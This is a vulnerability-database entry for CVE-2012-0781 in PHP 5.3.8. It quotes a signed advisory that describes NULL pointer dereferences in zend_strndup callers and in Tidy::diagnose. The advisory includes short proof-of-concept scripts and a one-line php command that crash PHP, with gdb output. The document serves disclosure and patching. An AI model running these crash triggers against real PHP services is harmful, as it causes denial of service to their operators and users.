PHP 5.3.8 'tidy_diagnose()'空指针引用拒绝服务漏洞

2012-04-16T00:00:00
ID SSV:60067
Type seebug
Reporter Root
Modified 2012-04-16T00:00:00

Description

Bugtraq ID: 51992 CVE ID:CVE-2012-0781

PHP是一种HTML内嵌式的语言

PHP 5.3.8中的tidy_diagnose函数不正确过滤特制的输入,远程攻击者可以利用漏洞向应用程序提交恶意输入使Tidy::diagnose对非法对象进行操作,可触发空指针引用而使应用程序崩溃 0 PHP 5.3.8 厂商解决方案

PHP

用户可参考如下供应商提供安全公告获得补丁信息: http://svn.php.net/viewvc?view=revision&revision=319254 Red Hat Enterprise Linux 4和5附带的Php版本不受此漏洞影响。

                                        
                                            
                                                -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
 
[ PHP 5.3.8 Multiple vulnerabilities ]
 
Author: Maksymilian Arciemowicz
Website: http://cxsecurity.com/
Date: 14.01.2012
 
CVE:
CVE-2011-4153 (zend_strndup)
 
Original link:
http://cxsecurity.com/research/103
 
 
[--- 1. Multiple NULL Pointer Dereference with zend_strndup()
[CVE-2011-4153] ---]
As we can see in zend_strndup()
 
- -zend_alloca.c---
ZEND_API char *zend_strndup(const char *s, uint length)
{
    char *p;
 
    p = (char *) malloc(length+1);
    if (UNEXPECTED(p == NULL)) {
        return p; <=== RETURN NULL
    }
    if (length) {
        memcpy(p, s, length);
    }
    p[length] = 0;
    return p;
}
- -zend_alloca.c---
 
zend_strndup() may return NULL
 
in php code, many calls to zend_strndup() dosen't checks returned
values. In result, places like:
 
- -zend_builtin_functions.c---
ZEND_FUNCTION(define)
{
    char *name;
    int name_len;
    zval *val;
    zval *val_free = NULL;
    zend_bool non_cs = 0;
    int case_sensitive = CONST_CS;
    zend_constant c;
 
    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sz|b", &name,
&name_len, &val, &non_cs) == FAILURE) {
        return;
    }
...
    c.flags = case_sensitive; /* non persistent */
    c.name = zend_strndup(name, name_len); <======== MAY RETURN NULL
    c.name_len = name_len+1;
    c.module_number = PHP_USER_CONSTANT;
    if (zend_register_constant(&c TSRMLS_CC) == SUCCESS) {
        RETURN_TRUE;
    } else {
        RETURN_FALSE;
    }
}
- -zend_builtin_functions.c---
 
- -PoC code---
[cx@82 /www]$ ulimit -a
socket buffer size       (bytes, -b) unlimited
core file size          (blocks, -c) unlimited
data seg size           (kbytes, -d) 524288
file size               (blocks, -f) unlimited
max locked memory       (kbytes, -l) unlimited
max memory size         (kbytes, -m) 40000
open files                      (-n) 11095
pipe size            (512 bytes, -p) 1
stack size              (kbytes, -s) 65536
cpu time               (seconds, -t) unlimited
max user processes              (-u) 5547
virtual memory          (kbytes, -v) 40000
swap size               (kbytes, -w) unlimited
[cx@82 /www]$ cat define.php
<?php
define(str_repeat("A",$argv[1]),"a");
?>
- -PoC code---
 
to see difference
 
[cx@82 /www]$ php define.php 8999999
Out of memory
[cx@82 /www]$ php define.php 9999999
Segmentation fault: 11
 
(gdb) bt
#0  0x28745eb0 in strrchr () from /lib/libc.so.7
#1  0x0822d538 in zend_register_constant (c=0xbfbfcfb0)
    at /usr/ports/lang/php5/work/php/Zend/zend_constants.c:429
#2  0x08251e0e in zif_define (ht=2, return_value=0x28825a98,
    return_value_ptr=0x0, this_ptr=0x0, return_value_used=0)
    at /usr/ports/lang/php5/work/php/Zend/zend_builtin_functions.c:688
#3  0x0826dba6 in zend_do_fcall_common_helper_SPEC
(execute_data=0x29401040)
    at zend_vm_execute.h:316
 
 
There are others places, where zend_strndup() is used:
 
- -1--
ext/soap/php_sdl.c
            if (sdl->is_persistent) {
                new_enc->details.ns = zend_strndup(ns, ns_len);
                new_enc->details.type_str = strdup(new_enc->details.type_str);
            } else {
                new_enc->details.ns = estrndup(ns, ns_len);
                new_enc->details.type_str = estrdup(new_enc->details.type_str);
            }
- -1--
 
- -2--
ext/standard/syslog.c
    BG(syslog_device) = zend_strndup(ident, ident_len);
    openlog(BG(syslog_device), option, facility);
    RETURN_TRUE;
- -2--
 
- -3--
ext/standard/browscap.c
                } else { /* Other than true/false setting */
                    Z_STRVAL_P(new_property) = zend_strndup(Z_STRVAL_P(arg2),
Z_STRLEN_P(arg2));
                    Z_STRLEN_P(new_property) = Z_STRLEN_P(arg2);
                }
                new_key = zend_strndup(Z_STRVAL_P(arg1), Z_STRLEN_P(arg1));
                zend_str_tolower(new_key, Z_STRLEN_P(arg1));
                zend_hash_update(Z_ARRVAL_P(current_section), new_key,
Z_STRLEN_P(arg1) + 1, &new_property, sizeof(zval *), NULL);
                free(new_key);
- -3--
 
- -4--
ext/oci8/oci8.c
        if (alloc_non_persistent) {
            connection = (php_oci_connection *) ecalloc(1,
sizeof(php_oci_connection));
            connection->hash_key = estrndup(hashed_details.c, hashed_details.len);
            connection->is_persistent = 0;
        } else {
            connection = (php_oci_connection *) calloc(1,
sizeof(php_oci_connection));
            connection->hash_key = zend_strndup(hashed_details.c,
hashed_details.len);
            connection->is_persistent = 1;
        }
- -4--
 
- -5--
ext/com_dotnet/com_typeinfo.c
                const_name = php_com_olestring_to_string(bstr_ids, &c.name_len,
codepage TSRMLS_CC);
                c.name = zend_strndup(const_name, c.name_len);
                efree(const_name);
                c.name_len++; /* include NUL */
                SysFreeString(bstr_ids);
 
                /* sanity check for the case where the constant is already defined */
                if (zend_get_constant(c.name, c.name_len - 1, &exists TSRMLS_CC)) {
                    if (COMG(autoreg_verbose) && !compare_function(&results,
&c.value, &exists TSRMLS_CC)) {
                        php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type library
constant %s is already defined", c.name);
                    }
                    free(c.name);
                    ITypeInfo_ReleaseVarDesc(TypeInfo, pVarDesc);
                    continue;
                }
- -5--
 
- -6--
main/php_open_temporary_file.c
    /* On Unix use the (usual) TMPDIR environment variable. */
    {
        char* s = getenv("TMPDIR");
        if (s && *s) {
            int len = strlen(s);
 
            if (s[len - 1] == DEFAULT_SLASH) {
                temporary_directory = zend_strndup(s, len - 1);
            } else {
                temporary_directory = zend_strndup(s, len);
            }
 
            return temporary_directory;
        }
- -6--
 
 
[--- 2. Tidy::diagnose() NULL pointer dereference ---]
Class tidy, may provide to null pointer dereference using tidy lib.
 
1287    static PHP_FUNCTION(tidy_diagnose)
1288    {
1289    TIDY_FETCH_OBJECT;
1290   
1291    if (tidyRunDiagnostics(obj->ptdoc->doc) >= 0) {
1292    tidy_doc_update_properties(obj TSRMLS_CC);
1293    RETURN_TRUE;
1294    }
1295   
1296    RETURN_FALSE;
1297    }
 
- -PoC---
(gdb) r -r '$nx=new Tidy("*");$nx->diagnose();'
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /usr/bin/php -r '$nx=new Tidy("*");$nx->diagnose();'
[Thread debugging using libthread_db enabled]
PHP Warning:  tidy::__construct(): Cannot Load '*' into memory  in
Command line code on line 1
 
Program received signal SIGSEGV, Segmentation fault.
0x00007fffedfaff87 in prvTidyReportMarkupVersion ()
   from /usr/lib/libtidy-0.99.so.0
- -PoC---
 
- -Result---
cx@cx64:~$ php -r '$nx=new Tidy("*");$nx->diagnose();'
PHP Warning:  tidy::__construct(): Cannot Load '*' into memory  in
Command line code on line 1
Segmentation fault
- -Result---
 
I do not consider this vulnerability as a having security impact other
as DoS.
 
[--- 3. Contact ---]
Author: Maksymilian Arciemowicz
Email: max {AA\TT cxsecurity |D|0|T] com
http://cxsecurity.com/
 
GPG:
http://cxsecurity.com/office.cxsecurity.txt
 
 
- -- 
Best Regards
Maksymilian Arciemowicz (CXSecurity.com)
pub   4096R/D6E5B530 2010-09-19
uid                  Maksymilian Arciemowicz (cx) <max@cxib.net>
sub   4096R/58BA663C 2010-09-19
-----BEGIN PGP SIGNATURE-----
 
iQIcBAEBAgAGBQJPEWEaAAoJEIO8+dzW5bUwiQIP+wW7gqAMB3FtONREDS9rUa83
VTJpMzCNdZw5cy7qIwivC4usdRUbidFy8Bqt/TA/3x8nWVm3Wx//5DPyFWb/RNZh
swSS7+9f6XJA4tEF/eTn6lCEG4xp2wLxHgxqIqmWR09gkOifhKHVEEXlO5qsQxhx
T5hEYqbvXEknzlUS/HC9C6sZsZK0EbdPjxDqe1qE+P3GyHecfoVb3s7WQw0IitZT
l47by1UbJ2iGj5q4EExLyj2FxomIw46LFdFtePHOI6EZcq/MODnyCGNkzVpS4tyK
SNIxiSp7nM1n08a6kQ1pZrMyTUO/LATojJ6qf79bJApyhK1ggs4WF+E73wItiFt0
ordQeqWy2hTLyv+UlbsoFErSgASgw5MIw3ygZXNZsdQWEMj+UCUTrsro7k/zB6Uy
3r4ccmyf1Vd+kLx12SAR/uxHIlqQVskQDi2k45CPHQVAYGKdax24ksVlfgQ2K/dY
2SCj9gEDAOKqtNLxyFyEStraeb330TrxbGaI25gjiDVf7nYgPowqdaM1gI862MoR
vP4vbFFY9ldwTBsLz9DNMVObsNWsoz2BlQ6olCgUPqkvce9RyI6rp+QwyIXQLcVr
jUGMXhpmDrNR2oyA4ufsZ4u5W8KUIK3t26v8649k3LSzmRpmK1TSTNqdHwm9WfMa
0qg+Bq1hSEVfTOuqOY7x
=IDq3
-----END PGP SIGNATURE-----